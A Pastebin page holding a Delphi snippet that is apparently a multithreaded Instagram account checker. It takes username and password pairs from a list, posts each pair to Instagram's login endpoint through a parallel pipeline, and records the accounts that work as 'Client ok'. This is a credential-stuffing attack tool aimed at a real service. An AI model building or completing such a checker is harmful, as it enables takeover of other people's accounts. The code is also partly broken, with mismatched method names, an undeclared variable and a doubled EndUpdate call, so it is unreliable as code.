Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- type
- procedure SetInProcess(const Value: Boolean);
- private
- FInProcess: Boolean;
- property inProcess: Boolean read FInProcess write SetInProcess;
- public
- procedure FlushData;
- procedure Retriever(const input: TOmniValue; var output: TOmniValue);
- ...
- procedure TForm1.SetInProcess(const Value: Boolean);
- var
- I: Integer;
- begin
- if Value = InProcess then exit;
- memo1.ReadOnly := Value;
- FInProcess := Value;
- if Value then
- Memo1.Lines.Clear;
- Timer1.Enabled := Value;
- If not Value then
- begin
- FlushData;
- pipeline := nil;
- end;
- end;
- procedure TForm1.Timer1Timer(Sender: TObject);
- begin
- If not InProcess then exit;
- FlushData;
- if Pipeline.Output.IsFinalized then
- InProcess := False;
- end;
- procedure TForm1.StartButton(Sender: TObject);
- var
- i : integer;
- urlList : TStrings;
- U, S : string;
- value : TOmniValue;
- begin
- urlList := Memo2.Lines;
- pipeline := Parallel.Pipeline;
- pipeline.Stage(Retriver).NumTasks(StrToInt(Edit12.Text)).Run;
- for U in urlList do
- pipeline.Input.Add(U);
- pipeline.Input.CompleteAdding;
- inProcess := True;
- end;
- procedure TForm1.FlushData;
- var v: TOmniValue;
- begin
- if pipeline = nil then exit;
- if pipeline.Output = nil then exit;
- Memo1.Lines.BeginUpdate;
- try
- while pipeline.Output.TryTake(v) do
- Memo1.Lines.Add(v.AsString);
- Memo1.Lines.EndUpdate;
- except
- on E: Exception do
- begin
- Memo1.Lines.Add(E.Message);
- end;
- end;
- Memo1.Lines.EndUpdate;
- end;
- procedure TForm1.Retriver(const input: TOmniValue; var output: TOmniValue);
- var
- lHTTP : TIdHTTP;
- Params : TStrings;
- Reply,String1,String2 : string;
- begin
- X := Input.AsString;
- Params := TStringList.Create;
- string1 := Extract1(X);
- string2 := Extract2(X);;
- Params.Add('username=' + string1);
- Params.Add('password=' + string2);
- lHTTP := TIdHTTP.Create(nil);
- try
- ...
- Reply := lHTTP.Post('https://www.instagram.com/accounts/login/ajax/', Params);
- if AnsiContainsStr(Reply, 'no')
- then
- begin
- Alive.Add(string1+string2+' Client ok'); ///Alive is Global Var stringlist created earlier
- end;
- except
- on E: EIdHTTPProtocolException do
- Exit
- end;
- end;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement